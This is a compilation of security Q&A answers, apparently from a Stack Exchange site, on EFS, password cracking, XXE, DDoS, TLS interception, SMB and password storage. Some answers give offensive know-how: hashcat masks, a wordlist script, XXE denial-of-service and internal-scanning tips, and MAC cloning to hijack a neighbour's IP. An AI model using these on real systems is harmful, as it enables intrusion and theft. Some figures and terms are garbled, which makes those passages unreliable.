How secure is the data in a encrypted NTFS folder on Windows (XP, 7)?

What is EFS?

Folders on NTFS are encrypted with a specialized subset of NTFS called Encrypting File System(EFS). EFS is a file level encryption within NTFS. The folder is actually a specialized type of file which applies the same key to all files within the folder. NTFS on disk format 3.1 was released with Windows XP. Windows 7 uses NTFS on disk format. However the NTFS driver has gone from 5.1 on windows XP to 6.1 on Windows 7. The bits on the disk have not changed but the protocol for processing the bits to and from the disk has added features in Windows 7.

What algorithm does it use?

Windows XP (no service pack): DES-X (default), Triple DES (available)

Windows XP SP1 - Windows Server 2008: AES-256 symmetric (default), DES-X (available), Triple DES (available)

Windows 7, Windows Server 2008 R2: "mixed-mode" operation of ECC and RSA algorithm

What key size does it used?

Windows XP and Windows 2003: 1024-bits

Windows Server 2003: 1024-bits (default), 2048-bits, 4096-bits, 8192-bits, 16384-bits

Windows Server 2008: 2048-bit (default), 1024-bits, 4096-bits, 8192-bits, 16384-bits

Windows 7, Windows Server 2008 R2 for ECC: 256-bit (default), 384-bit, 512-bit

Windows 7, Windows Server 2008 R2 for for AES, DES-X, Triple DES: RSA 1024-bits (default), 2048-bits, 4096-bits, 8192-bits, 16384-bit;

How is the encryption key protected?

The File Encryption Key (FEC) is encrypted with the user's RSA public key and attached to the encrypted file.

How is the user's RSA private key protected?

The user's RSA private key is encrypted using a hash of the user's NTLM password hash plus the user name.

How is the user's password protected?

The user's password is hashed and stored in the SAM file.

So, If an attacker can get a copy of the SAM file they may be able to discover the user's password with a rainbow table attack.

Given the username and password, an attacker can decrypt the RSA private key. With the RSA private key, the attacker can decrypt any FEC stored with any encrypted file and decrypt the file.

So...

The contents of the encrypted folder are as secure as the user's password.

  If the user uses a decent password, can this data be decrypted (easily?) if it, say, resides on a laptop and that is stolen?

Probably not by an adversary with a typical personal computer. However, given sufficient resources, like a GPU or FPGA password cracking system, EFS data may be vulnerable within a short period.

A random 12-character (upper lower and symbol) password may hold out for weeks or months against a password cracking system. See  "Power of Graphics Processing Units May Threaten Password Security" A significantly longer password may hold out for years or decades.


Encrypting folders with flash drive key?

Install a program like PGP, and save your public and private keys to your hard drive - specifically in your own login account. Encrypt the drive. When you try to decrypt it, it will require your private key. Don't copy the keys to any other source. Many dual-key encryption methods are good for this purpose.

For the PGP example, there are whole disk versions of PHP that use key and passphrase.

More info on that topic can be found here:

"PGP Whole Disk Encryption can encrypt the thumb drive so that it is only usable on computers with the proper keys." http://symantec.com/connect/blogs/doing-more-pgp-whole-disk-encryption


Security implications of shared credentials on private APN

The only significant difference that I can find is using the APN itself as a level of authentication, vs using additional information such as your device's hardware IDs.

In practice, it's easier to have a single image, with a single config file pre-setting the APN you want to use, then use your hardware ID (MAC, IMEI, etc.) for authentication and determining what you're allowed to access (and log it accordingly).  This also makes support easier, since a single help entry (like the one you linked) will provide the answer for all users, without thought; requiring they know / look up their own information, find where to put it in, and manually enter it, is far more complex, and often results in more support requests.

So using private APNs would result in increased security (or rather, increase the potential maximum security), but using public significantly reduces support burden and improves ease-of-use by less-technical users.


Hashcat to mask recover variable length password with known suffix

You won't need to define a charset if your password uses one of the included ones.

You should use a .hcmask file to define your different lengths.

Like this:

?a?a?a?a123$
?a?a?a?a?a123$
?a?a?a?a?a?a123$
?a?a?a?a?a?a?a123$

There are 96 characters in ?a, so 96⁴ + 96⁵ + 96⁶ + 96⁷ ≈ 2⁴⁶ hash computations are necessary, which would require 10 to 20 minutes at 70 GH/s.


How to Stop DDoS Attacks by simple function on web server?

Option 1

  From the basic understanding of the DDOS attacks is that the attacker
  is sending a lot of data to the web server.

Not in every case, the slowloris and SYN flood attacks do not send tons of data yet they are classified as DDoS. Each host attacking the target sends just a little information, enough to clog the victim's network and prevent it from opening more connections and accept valid requests. For this reason, it is not possible to treat the ddos attacks like many users uploading data, they are attacking the entry point of the web server, not the application.

What the sites that take large amounts of data do is a combination of redundant servers, finely tuned web servers and other techniques, all of them come with a cost, both in management and money, and still, they know that a DDoS can only be mitigated but not avoided (remember github)

  Option 2

  What about a website offer, everyone who visit the website temporary
  key? With that temporary key insert into the website

You are thinking about the application managing the requests but DDoS attacks can also target the lower layers of the stack. In general there are (arguably) 3 categories of DDoS attacks:

Volume based: ICMP flood, UDP floods,...
Protocol Attacks: Ping of Death, Smurf, SYN floods...
Application Attacks: Slowloris, Apache specific attacks...

Your idea would work for the application attacks but not for the others.


A SSL intercepting proxy by itself cannot fool anybody. The CA used by the proxy to generate the new certificates must be trusted by the client or otherwise the validation of the certificate will fail. This is true inside and outside of enterprise networks. The main difference is that in enterprise networks there is usually an administrator who has control of the client systems and install the necessary certificates there without help from the user and so the user might not notice.

But, even outside enterprise networks silent SSL interception might be possible if the attacker can use a CA certificate which is trusted on the client system and where the attacker has the private key. Such situation could for example be created using malware. But such certificates might already reside on the users system. For example there is the infamous Superfish adware which was shipped with Lenovo systems and which has installed a trusted CA certificate on the clients system to inject ads into HTTPS traffic. Even worse this certificate was the same in all installation and the private key could easily be extracted. Thus if one user still has this certificate as trusted on the system an attacker might use it inside a man in the middle attack and the user will not notice.

There are also other cases where such attacks are possible. For example several Antivirus products do SSL interception and some fail to properly validate certificates. Since in such cases the browser is no longer responsible for the certificate check but some software with a broken validation, a stealth man in the middle attack can be mounted. See The Security Impact of HTTPS Interception for details.


External hard drives: 'date last accessed' file?

They aren't turned off to save space, but rather because it results in an unnecessary amount of writes when you are reading a large number of files. You can view the various timestamps entries both on Windows and Linux, as outlined in this answer. I am assuming you are using either Windows or Linux.
Window with NTFS
Windows uses MACE for timestamps on files, meaning Modify, Access, Create, and Entry modified. On Vista systems and later, access times are disabled by default via a default registry value of 1 for NtfsDisableLastAccessUpdate. When this is the case, the access time will only be updated when the file is created or modified, making it unreliable for determining the dates of last access.
You can re-enable access times by toggling the registry value or by using the following command:
fsutil behavior set disablelastaccess 0

Linux with ext4
Linux uses MAC for timestamps on files, meaning Modify, and Access, Change, often called mtime, atime, and ctime, respectively. The difference between mtime and ctime is subtle here. The mtime is only updated if the contents of the file are modified, whereas ctime is updated if either the contents or metadata are modified. Many Linux systems use a mount option called noatime which disables access time updates. The atime will only be updated when the mtime or ctime change. There is also the common relatime mount option, which updates the atime only if the previous access was earlier than the current ctime or mtime. It is used to reduce unnecessary disk writes while still preserving some information about accesses.
A small triviality is that modern ext4 filesystems have an additional two timestamps which are not available to userspace by default: crtime (creation time) and dtime (deletion time). The dtime is obviously only present in deleted inodes and has an unclear purpose, and the crtime is just not displayed for legacy reasons.
You can temporarily re-enable access times using the following command:
mount -o remount,strictatime /path/to/mountpoint

Permanent changes require editing fstab(5).


How to verify the signature in an iOS Passbook pass?

Looks like there's nothing Apple-proprietary about this, just had to find the right search term. a "PKCS #7 Detached Signature" file is a "SignedData type" of RFC 2315 "PKCS #7: Cryptographic Message Syntax".

SignedData ::= SEQUENCE {
     version Version,
     digestAlgorithms DigestAlgorithmIdentifiers,
     contentInfo ContentInfo,
     certificates
        [0] IMPLICIT ExtendedCertificatesAndCertificates
          OPTIONAL,
     crls
       [1] IMPLICIT CertificateRevocationLists OPTIONAL,
     signerInfos SignerInfos
}


Can SMBv1 be secure if used for just SMB server discovery?

DO NOT USE SMBv1.  It's been deprecated for so long that you actually have to manually enable it on Windows to make this work.  It's terribly slow, insecure, and exposes that host to exploits that have existed on the Internet for over 2 decades... DO NOT USE IT.

EDIT:

SMBv2 was a complete rewrite of SMBv1.  Every reference to higher order SMB "versions" is nothing more than a dialect of SMB2 (e.g. SMB 3.1 is just a dialect of SMB2).  As an example of the differences:

SMB1 sends one packet per file system command.  SMB2 sends multiple commands per packet.
SMB1 has over 100 specific commands.  SMB2 has like, 12 (that may not be entirely accurate, but the number is very low).

They are essentially different protocols.  Don't turn on SMBv1.  You're exposing your host to a whole host of vulnerabilities for the sake of a function you could get around by providing a drive mapping to the share.

Final Edit to Address the OP's Edits:

The problem with SMBv1 is SMB Relay Attacks and ultimately the attacker harvesting credentials using it.

Windows provides a way to require digital signing of network communications, specifically related to SMB communications.

Set this policy to enabled for all SMBv1 communications in local policy or group policy:  Microsoft network client: Digitally sign communications (always)

This will likely break access to your SAMBA server unless you can configure it to also digitally sign SMBv1 communications.

FWIW, and if I hadn't made it clear, I don't recommend using SMBv1 in light of its inefficiencies and insecurities.  The minute you misconfigure this on a single host, you've enabled one of the most commonly exploited vulnerabilities that exist today on a network.  Good Luck.


Why does the OpenSSH client on Mac OS X silently launch an ssh-agent for the user?

Answered: It turns out that, yes, this is a feature unique to OS X. See this excellent article about when this feature was introduced to OS X Leopard


My own simple web server + nginx as a reverse proxy

"Maybe" and "sometimes" are the only answer you can get. nginx may stop malformed requests from reaching your vulnerable server however it'll only break on things it doesn't understand and kick out an error. An exploit can be entirely syntactically correct in which case nginx won't/can't protect you.

Without an in depth audit of your server code nobody will be able to know. If you're using this in an actual production environment you really ought to use a real web server framework because it's likely more secure.


In Algorithm: dh-ietf1024-sha256-aes128-cbc-pkcs7 where to get the IV?

DH key agreement [rfc2631] is used to create a secret key using 1024 bit parameters of the standard IETF 'Second Oakley Group' [rfc2409].
The secret key is then digested into a 128-bit key appropriate for AES.
This is done using HKDF [rfc5869] with NULL salt and empty info, using the SHA-2 256 hash algorithm [fips-180-3.2008].
-The secrets are encrypted using AES [fips-197.2001] in cipher block chaining mode with pkcs7 style padding [rfc2315].

Short answer

Start Diffie-Hellman key exchange (DJKE) to agree on a key K
Both sides uses HKDF to derive the symmetric key k of the required side.
Generate random IV by using /dev/urandom or better methods.
Encrypt message c = AES256-CBC( k, PKCS#7padding(m) )
Send |IV and |c to the other side.
The other gets the IV and c, and
Decrypts m = AES256(k,c) and checks the PKCS#7 padding.

The usual practice is prepending the IV to ciphertext like a bundle |IV|ciphertext| and send it to the receiver. Encoding base64 of the bundle is advised.

Long answer
CBC
While using the CBC mode with AES you must consider this;
Your obligations:

You must choose a 256-bit secret key k uniformly at random. You must keep it secret all the time.
In your case DH generates this.

Make sure that your messages are always an integer multiple of 128 bits long. To satisfy this you can use PKCS#7 padding and be aware of padding oracle attacks.

If a key k is reused for multiple messages, you must choose a 128-bit initialization vector that is (a) unique and (b) unpredictable in advance.
4 The total data length must not be past 260 bytes of data using the same key k.

You must not send more than 248 messages using the same key k.

In return, AES-CBC guarantees against an adversary who can adaptively influence plaintexts sent by Alice and Bob.
CBC mode has Ind-CPA security means the adversary cannot distinguish the ciphertexts of two equal-length messages even they choose the messages. Therefore they cannot read messages chosen by Alice or Bob.
If you violate the unique in your obligations, then the adversary can detect that a message is sent again. The random IV provides probabilistic encryption to mitigate this.
If you violate any other, the security properties provided by AES-CBC will be lost.
DHKE
The 1024 bit DHKE is not considered today's standards. For the equivalent of 128-bit symmetric security, you should use at least 2048-bit by ANSSI's approximation. See on keylength.com
DHKE exchange provides forward secrecy, in order to achieve that both sides must delete the keys upon decryption. If the keys are kept keys at least one side and that side is attacked then the attacker can read the previously recorded sessions. This validates the forward secrecy.
HKDF
HKDF has these parameters
`k = HKDF( salt, IKM, info, L)

where IKM is the input key material that comes from the output of the DHKE in your case.
info can be used for a generation multiple keys from a single IKM.

In your case salt is NULL and info set to empty string.


White-Box Cryptography Questions and References

There is a decent answer similar to this over on Cryptography at  https://crypto.stackexchange.com/questions/386/differences-between-white-box-cryptography-and-code-obfuscation.  To summarize briefly here, white box cryptography is specifically a type of code obfuscation for cryptographic keys in code.  I'm not aware of any techniques that are actually secure for doing it, but the idea is that for a program to use encrypted data without user intervention, it must somehow store the cryptographic key within the code in such a way that the key can not be retrieved, but the code can be executed.

The primary places this would be useful is anywhere that a user or system should not have access to a key, but needs to be able to decrypt in given situations.  Traditionally, the primary way to do this securely (not whitebox crypto) is through the use of a Trusted Platform Module or some other hardware that can perform cryptographic functions while restricting access to the key.  White box crypto tries to do the same thing without the need for secure hardware storage.

You are quite correct that the ability to conceal a key from it's user is most practical in either DRM or code decompilation prevention since if the white box cryptography worked, it would only allow access to the protected data or code when going through the protected environment.  I can't think of any other uses outside of those two.


First of all, I need to emphasize that IP address can never be used to authenticate a user, it can only be used to (attempt to) validate a host. Even if IP address were perfectly tied to an exact computer on an exact network port, we'd still have no guarantee that a particular user was at the console of that computer at that time. So if you are trying to ensure that the resources you are protecting can only be accessed by a particular user, you need to be doing user-level authentication of some kind.

Now it may be that you only want to limit access to, say, people who work at a certain business, or who go to a certain school, or who live in certain house. So you believe that IP-only validation is worth the additional risk. Even then you can't guarantee your data is going to the right place.

A wireline example I can think of is this. Let's say I am a cable internet subscriber and I want to intercept my neighbor's IP traffic. Our cable provider uses DHCP to assign addresses to us from a pool of addresses set aside for dynamic IP addressing. Conceptually, I can intercept his address by discovering his IP address; discovering his MAC address; setting my MAC address to be a clone of his MAC address; rebooting his cable modem (e.g. by interrupting power or cable to his house); issuing a DHCP request.

Since many DHCP servers usually try to assign MACs the same IP they had previously, the cable provider will assign your IP to me. Now this won't work forever - the cable provider will eventually see an IP address collision and investigate the issue. But by that time I may have already stolen your data.


This is a risky idea. If someone manages to get access to your database and somehow cracks the encryption, they have access to the data of all users. Add to that that users often re-use passwords, and our hypothetical cracker has a treasure trove of valuable information.

Resetting passwords may be a bit of work, but it is the safer way of doing things.

Another thing you can do, is encourage your users to use a Password Manager program.


Is it possible to verify a socket connection is coming from a particular web page?

WebSockets are not constrained by the same-origin policy, but the protocol defines an Origin header. That's set by the page or server that creates the connection.

This is pretty much how an application that I work on handles this; there's a filter in front of the WebSocket endpoint, which checks the Origin against a list of approved origins (a specific domain, using either HTTP or HTTPS). If this matches, we allow it through; otherwise, it is rejected.

There's a bit more information about using the Origin header in this answer.


why am i unable to gain access to remote pc through smb while having correct credentials?

I think your credentials does not have permissions to this PC.
1. If you are using a Domain base network (not a workgroup) you need to check the permission for this user in the Active Directory user list.
2. If you are using a local credentials , check in the local (win 7) user list This PC->manage->System Tools->Loacl Users...->Users that you have the current user in the list, if not create it and give it the specific creds that you want.


I've written a little script that (hopefully) is what you need. I am not sure this was the right place for you to ask this, but here you go, anyway (This is a python 3 script):

string1 = "aaaaaaaaaaaaa"
string2 = "bbbbbbbb"
out = open("someFile.txt",'w+')
unkPos = ["1","2","3","!",""]
unkAllOptions = []
for x in unkPos:
    for y in unkPos:
        for z in unkPos:
            unkAllOptions.append(x+y+z)
unkAllOptions = [val for val in unkAllOptions if val != ""]
for unk1 in unkAllOptions:
    for unk2 in unkAllOptions:
        out.write(string1+unk1+string2+unk2+"\n")
out.close()

There are, of course, much better ways of doing this, that don't create duplicates and so on. But since the resulting word list is pretty small, I allow myself doing this the quick and dirty way.


Is it possible to lock down the http / https proxy settings on a Windows Phone?

To achieve that, you need to choose/use a Mobile Device Management (MDM) solution.

There are some solutions about MDM for Windows Phone / Windows 10 Mobile. Look:

From Microsoft:
https://technet.microsoft.com/en-us/windows/dn771709.aspx
https://technet.microsoft.com/itpro/windows/whats-new/device-management
Solutions from other companies: just do a web search for:
mdm "windows phone"


Block outgoing network traffic from "Smart" TV

If you can set your firewall to block a particular MAC from exiting your network, yes, that would be the best strategy.  However, ordinary consumer grade routers may not have the capability.

Instead, what you may need to do is discover the external address (or addresses) that the TV is attempting to connect to, and find a way to block data from reaching their servers.  One way is to add a static routing entry for that destination's IP address and route it to 0.0.0.0 to ensure the connection attempt doesn't leave your premises.


How to "clean" graphics of embeded exploits?

From a comment on the other answer:

Wow, great explanation. And happy to hear that converting is a reasonable option!

Unfortunately, the other current answer is incorrect, and the suggestions there, such as using conversion, do not improve security when presented with a malicious image file with an embedded exploit, and can even make things worse.
Issues with conversion
There is no way to guarantee the file is clean. While others have suggested converting from one format to another, this is likely not a safe solution due to the fact that they all use the same libraries, with few exceptions. If there is an exploit embedded in a PNG images, chances are it will be targeting libpng. If it is in a TIFF image, it will be targeting libtiff. These libraries will be used whether you're using an image viewer or a image converter. This means that a vulnerability that affects an image viewer will, with high likelihood, equally affect an image converter.
Issues with compression
Image compression often does not touch certain parts of the file. If you are doing lossless compression "over" the image, such as compressing it with an archiver, that will preserve any exploit. If you compress it with dedicated tools like optipng or pngcrush, certain parts of the image will be compressed, while other parts will not be. This means that there is no guarantee that you will destroy the malicious components.
Issues with antivirus
Scanning the image for malicious code only works for exploits with known signatures. Unlike executable files, an IPS/AV cannot run heuristic detection on such files, as each method of exploitation behaves differently.
Sandboxed conversion
One potential but partial solution would be to use a highly sandboxed conversion utility, such as graphicsmagick in a tight SECCOMP sandbox. Use it to convert to something like PPM or BMP, which are extremely simple and preserve nothing more than the raw, uncompressed image data. This can later be converted back to whatever format you wish. This is not a perfect solution because, in theory, the conversion utility could be compromised to attempt to generate a malicious output file. This would require chaining exploits and is not likely a realistic issue, so this should be good enough.


Password security against Brute Force - local vs online attack?

If one sets security parameters assuming that the database will never be leaked, and then it is, then the security is breached.
If one assumes that the database will be leaked and sets parameters accordingly then it can be secure.
Since a database can always be leaked (e.g. via rogue employee or law enforcement warrant with subsequent carelessness) it is irresponsible to assume that it can't be. Thus guidelines like NIST's recommend security for the case of a leaked password database.


Exact difference CSRF vs. DNS Rebinding attacks

CSRF and DNS rebinding are basically both cross-site request, but done differently and targeted against different protection mechanisms.

With CSRF the browser is aware that this is a cross-site request. This means that the Same Origin Policy will be applied. Thus, the request will be executed and will usually also include the cookies for the target site (i.e. kind of authenticated) but the attacker will not be able to read the response.

With DNS rebinding the browser is not aware that this is a cross-site request since the DNS name stays the same and only the target IP address changes. This means that no Same Origin Policy will be applied and thus the attacker can read the response. But, the browser will also not send any credentials and cookies for the real target server since it accesses the server with a different domain name than usual (the attacker controlled name instead of the real domain name) - and credentials and cookies are bound to a domain and not an IP address. This means that the request will not be authenticated automatically.

CSRF tokens will help in both cases since the attacker does not have access to the proper tokens. In case of CSRF it also helps if the servers checks the origin of the request (i.e. Referer and Origin header) while in case of DNS rebinding the server should verify that the value of the Host header is actually the server itself instead of an attacker-controlled domain.


Which encryption technique should be used for cloud computing data transfer?

The first step in securing anything should be to evaluate what you need to secure and where somebody might attack you (attack surface). I don't know what you have to protect, but since you are doing your computing in the cloud you should not only ask yourself how to communicate with your cloud application, but how the application itself is secured, that is how the server is protected, who owns it, which laws apply... .

As for your idea of communication: it looks like you combine different techniques you heard about in the hope that it will be kind of secure, but you don't really understand what you are doing (otherwise you would not ask). Please don't try to reinvent security, it usually goes wrong. Use instead established technologies like TLS or SSH and understand how they work, what they offer, and what limits they have.

As for your added information of what you want to protect:

  Protect the server from getting hacked

You should be aware, that with most cloud solutions you don't have your own dedicated hardware, but share the hardware with others and only get a kind of container or virtual machine on the hardware for you. If somebody successfully attacks the host running these containers you can forget the security inside the containers.

Also, most systems are vulnerable once an attacker gets access to the hardware. So you have to put a lot of trust in the people running the infrastructure.

  In case the server is hacked the data stored on the server should be encrypted such that it is useless to the hackers.

This will not fully work. Because you have to work on your data while they are not encrypted, you have to have the necessary decryption facilities inside your cloud application. A competent attacker with full access to your machine has access to your application and can analyze it and extract the decryption part and reuse it.

  Transfer data to and fro the server and client without leaking it to an eavesdropping hacker.

I would recommend to use established technologies like TLS or SSH for this, but even these can fail if not used the correct way.

At the end it boils down how valuable your data are. Professional attackers will not put too much effort in hacking a system which has nothing valuable to protect, but will put lots of effort when really valuable data (which means money) are involved.

If it is just a play project I would not care too much with security, i.e. only secure the server so that it cannot be misused. But, if the data are really valuable you might better keep the attack surface small and not trust too much people. In this case I would not do anything in the cloud.


What's the purpose of "ExecutionPolicy" settings in PowerShell if the "-bypass" switch circumvents it?

From here (em mine):

  What is the PowerShell Execution Policy?

  The PowerShell execution policy is the setting that determines which
  type of PowerShell scripts (if any) can be run on the system. By
  default it is set to "Restricted", which basically means none.
  However, it's important to understand that the setting was never meant
  to be a security control. Instead, it was intended to prevent
  administrators from shooting themselves in the foot


How to find out if a connection encrypted?

Watch the stream and look for negotiation using defined encryption protocols. If you know the data is compressed with bzip2, look for the strings 0x314159265359 and 0x177245385090. Unless headers are totally stripped out, they'll appear once for every block. You can take a guess at whether data is encrypted by following the stream and checking for entropy. The more entropy per bit, the more likely you're seeing encryption. This unfortunately applies to compression as well.

I would say that you can discern known encrypted, or known unencrypted. Differentiating encryption or compression would take a while and involve more complex code without header information for magic strings (like above) to give it away.


I don't even play a DBA on TV, but I used different (google) bigtables with different access permissions, joined when accessed by the privileged users, via either the GUI or the sorta-nosql language.

For the others, you might need a system with Mandatory Access Control and a DBMS that understands them.  Existed once, but not a business success, so I somewhat doubt they're easily available (:-))


XML external entity - Local file enumeration (Impact assessment question)

Not a complete answer, but it's worth noting that XXE can often be a DoS bug as well as an information disclosure bug. Try reading from /dev/zero or \\.\pipe\atsvc or any other kind of special pipe/socket/file that either never ends or will simply block for approximately forever. Of course, if XXE works then you can usually also do recursive entity expansion (a.k.a. Billion Laughs, which is also a pretty easy DoS.

XXE can also be used to pivot a network scan behind the server's firewall. You don't have to specify a file: URI scheme; http:, https:, ftp:, and so on work too. You can also specify non-standard ports, which is helpful when looking for things like certain admin interfaces. This is, of course, more useful when you have access to the contents of those URLs, but just knowing the services are there is often helpful.

It's very odd that you weren't able to get the file contents. Usually that's possible in one way or another, be it via an error message or by specifying the file contents as user-supplied input and then reading them out using another function (as in, "why yes, my home address is the contents of your TLS private key!").


In order to setup a tunnel you have to :

1. discover your vpn provider and connect to him ( DNS)
2. Initiate a encryption with your provider ( SSL/TLS)
3. Once a pipe is added, routing entries must be added on your local computer so other services can find out about your tunnel (SSDP).
4. As for TCP, well it's TCP, if all would be encrypted then you wouldn't be able to get to your modem, not even mentioning the
internet.

As you may notice, there is quite a lot of prepwork to do until a tunnel is secured, and it is unencrypted, but once the tunnel is up and the routing rules in place, everything should be safely piped through the tunnel. There's also the possibility that you're listening on the "LAN" side of things and also you're creating additional unencrypted traffic by maintaining connections prior to the tunnel firing up.


VPN data encryption from VPN server to destination

But when data is sent from the VPN server to the destination is data encrypted?  ... So are we compromising with privacy using VPN?

A VPN does not compromise your privacy. Instead it reduces the privacy problems (as long as one can trust the VPN provider) but it does not fully solve these.
VPN is used to tunnel through untrusted (privacy implicating) networks and then come out with a different IP address than your original external IP. Nothing more is done. Thus if you don't trust your ISP or your local WiFi Hotspot a VPN will help to tunnel through these. If you want to hide your original IP address from the final server a VPN will help in doing this. But that's all. VPN does not make magically the connection to the final server secure - unless the VPN ends exactly at the server (usually not).


Well there are a couple options here. The first is to reverse it such that your user has a collection of claims that define which projects they have access to:

Claims:

Project: 123
Project: 124
Project: 125
Project: 129

This could be unmanageable depending on how often the projects are created and the number of projects per user as you'd have to refresh the claims any time something changes.

You could do a database check in CAM but that gets noisy quickly, and can potentially slow down the system considerably as the CAM is designed to be called often. If possible it should only make its decisions based on the claims present in the principal.

Alternatively you can pass in a composite resource like "project:{id}:{assignedUserId}" and your CAM could parse it out so if the resource begins with "project" you can parse out the project ID and assigned user ID and do a check to see if the principals claims contains something like 'UserId: 123'. The project Id wouldn't necessarily be needed in this case but if you're sticking logging into the CAM it might be useful to include the project Id too.


Whitelisted, encrypted, signed e-mails: how could they be tricked?

Be careful that you don't bounce a bounce message. Otherwise, you can self-DDOS your mail server.

It may be safer, at least in the first few months of trialling this, that instead of bouncing emails, you'd accept them but deliver the message with a big warning that the email was not signed properly, and may have been an attempted phishing, and that the recipient must not act on the email unless they verify any information therein through other secure means.

If an attacker managed to obtain a user's private key, then they would have been deep enough in that person's machine that anything that person does would be suspect, whatever system you're using. So this is not an issue you need to worry about. Additionally, requiring signatures gives you the ability to identify the person who leaked their private keys and discipline/retrain that person. You can also revoke that key easily, while the attacker would have to look for someone else's system to break.

A CA aren't supposed to issue an email certificate unless they can prove the email address control. All public CA publishes their Certificate Practice Statement, which details how they validate someone's identity before signing a certificate for that person. You can choose a CA that have an acceptable CPS and limit your attack surface so your mail server would only trust that particular CA for mails within your domain. If you distrust any public CA, you can also run an internal CA so that you don't need to rely on a third party for your internal employee identification.

  Of course only a valid users key is accepted, not *, so allowed keys are whitelisted.

Rather than whitelisting user keys directly, I'd suggest white listing trusted verifier (CA/Web of Trust) keys instead. Only servers whose public keys are certified by the verifier would be accepted by the mail server. This separates the responsibility between verifiers and mail server administrator, and allows you to add/remove people without mail server redeployment/reconfiguration. For example, you can train HR to become your identity verifier, and they'd be responsible for signing and revoking certificates as people come and leave the company.


SRP: Can the client authenticate using only the stored hash?

Your assumptions are true; they are features of SRP.

In the description you link to, note that the value x is computed from the password p and salt s (so it can be re-computed on the client side if needed), and the password verifier v is obtained from x with a modular exponentiation, which is quite one-way (recovering x from v requires computing a discrete logarithm, which is known to be very hard, and not feasible if the modulus is large enough). The server stores v, not x, and knowledge of v is not sufficient to authenticate as a client -- you need x for that, which the server does not store and, indeed, never learns at all.


TLS Session Tickets: What is the risk of a disclosed server ticket key?

Ticket crypto broken -> PFS broken.
I believe this quote from a great CloudFlare blog post answers each of your questions.

Zi Lin, CloudFlare, Inc., 2015-02-24, TLS Session Resumption: Full-speed and Secure

this key becomes [a] critical single point of failure for TLS security: if an adversary gets hold of it, the session key information is exposed for every session ticket! Even after the lifetime of a session ticket, such a loss would invalidate supposed “perfect forward secrecy” (as evangelized here on our blog).
Therefore, it is important to:
“generate session ticket keys randomly, distribute them to the servers without ever touching persistent storage and rotate them frequently.” (Adam Langley)

And they link to a blog post by Adam Langley that gives background for this:

Adam Langley, 2013-06-27, How to botch TLS forward secrecy


Correct way of encrypting user passwords

When you encrypt passwords, it is because you fear eavesdropping; you envision an attacker who could get a look at your database contents. Encryption is the right tool for that, but if you put the encryption key in the same database, then you just did the equivalent of hiding your door key under the doormat. An attacker who can get a glimpse at the database may usually also obtain the key that way. Usually, when database contents leak, it is through a method that impacts the complete database (most successful SQL injection attacks allow arbitrary data extraction; the same applies, naturally, to lost/purloined database backups). Thus, it would make more sense to store the master key in a place distinct from the database, to limit the risk of exposure of both the key and the encrypted password.

Since you are apparently using C# and .NET, I infer a Windows system, and thus you may want to use DPAPI, through the ProtectedData class.

Deriving the actual encryption key and the IV from the same master key, combined with an instance-specific value, is a good thing, provided that you use a proper Key Derivation Function. However, the extra "randomization" value you use is a user-specific identifier; this means that if you change the encrypted data for a given user (say, the user changes his password), then both the old and the new passwords will be encrypted with the same key and the same IV. For most encryption systems, IV reuse is a sin.

Instead, you should use a random value that you regenerates whenever you encrypt a new piece of data, and store along with the encrypted value. There can be several methods for that; the simplest is to use the "master key" as the actual encryption key for AES, and generate a random IV every time you want to encrypt something; the encrypted result will then be the concatenation of the IV and the encrypted data, in that order.

Remember that the IV is not meant to be a secret; otherwise, we would call it a key. Thus it is not a problem if it is made available to attackers. However, each encryption system has its own requirements about the IV; in particular, a block cipher (such as AES) in CBC mode needs the IV to be randomly generated with a strong random source (AesCryptoServiceProvider defaults to CBC). Therefore, generate the IV with a RNGCryptoServiceProvider instance.

Speaking of the KDF, you use Rfc2898DeriveBytes, which is overkill. That class implements PBKDF2, which is a password-based KDF. "Passwords" are special because they are compatible with human brains, and this implies an inherent weakness. Brute force attacks work against passwords (we then call them "dictionary attacks"). To improve the resistance, password-based KDF are made slow with many repeated iterations. Unfortunately, this also makes the KDF expensive to use.

Since your master secret is not a password, but an appropriately long and random key generated with a strong source of randomness, then it is not vulnerable to brute forces. The cost of PBKDF2 is thus a waste of CPU cycles. If you still want to use PBKDF2 to derive encryption keys and/or IV, you should set the number of iterations to 1. Alternatively, as explained above, don't use a KDF at all: encrypt the data with the master key "as is", but with an instance-specific random IV that you store along the encryption result.

AesCryptoServiceProvider relies on the underlying native code implementation. RijndaelManaged is written in "pure .NET". For encrypting short elements, RijndaelManaged may actually be more efficient; it will also lower the risk of handle leakage if you forget to call the Dispose() method where necessary. Usually, performance doesn't actually matter (the encryption and decryption time will be negligible with regards to the rest of what your server does), but if it does in your case, then remember that you have several options for the implementation.

A 32-byte (256 bits) key for AES is a bit overkill, but it won't harm much. A 256-bit key implies a +40% CPU cost for encryption and decryption, compared with a 128-bit key, but for encrypted small elements it should be negligible.


Safely sharing session accross sub-domains

You've misunderstood the cookie issue for Safari/Chrome, I think. Both of them implement the RFC properly, whereas Firefox/IE have been more relaxed in the past.

The normal rules are:

Setting a cookie for xyz.com does not allow any subdomains to read it.
Setting a cookie for .xyz.com allows all subdomains to read it.
Setting a cookie for app1.xyz.com only allows the app1 subdomain to read it, but not other subdomains.

Some browsers bend these rules slightly, and instead allow cookies without the . prefix in their domain to be read by subdomains anyway, regardless of the fact that the RFC says otherwise. If I remember correctly, IE/FF used to do this, but I think they've come more into line in recent versions.

  On the face of it this should be an easy as sending the session_id in a the URL over https. But is this good enough? Both a cookie and a URL are sent over https so there is the same risk from decrypting the SSL certificate by snooping. Is there anything else about sending the session_id in the URL that may be a issue?

You should never put session identifiers in the URL. There are a bunch of reasons for this:

They're visible on screen, so they're susceptible to shoulder surfing or leakage via shared screenshots.
They get saved, unsafely, in browser history. This could be used to recover session tokens in a multi-user desktop environment.
URL parameters usually get logged by proxies, load balancers, and web servers, which means active session tokens are saved in the clear in your logs.

It's just bad practice to send them in URLs - if you did it, and I pentested your app, I would certainly flag it as an issue.

  Is there a better way, that is not over engineering things. Using oAuth seems like overkill to me, but maybe I am wrong?

As noted above, I don't think your original problem is actually a problem, you just need to set the correct domain for the cookie. Once you've done that, you should be ok.

Also, since you've mentioned that you're using HTTPS for everything, I highly recommend the setting the Secure flag on your cookies to ensure that they can't be transmitted over plaintext HTTP. You should also look into setting a HTTP Strict Transport Security header to avoid sslstrip attacks. But these are just additional suggestions to improve security cheaply, and aren't directly related to your original question.


Strategy to migrate Passwords securely from one application to another

The question you should ask yourself is: what risk are you trying to mitigate ?

By using a different key for each row, you are attempting to mitigate the fact that, if a key leaks, it will not compromise the other rows. This is balanced by the fact that, the more keys you have, the more difficult it is to manage them securely.

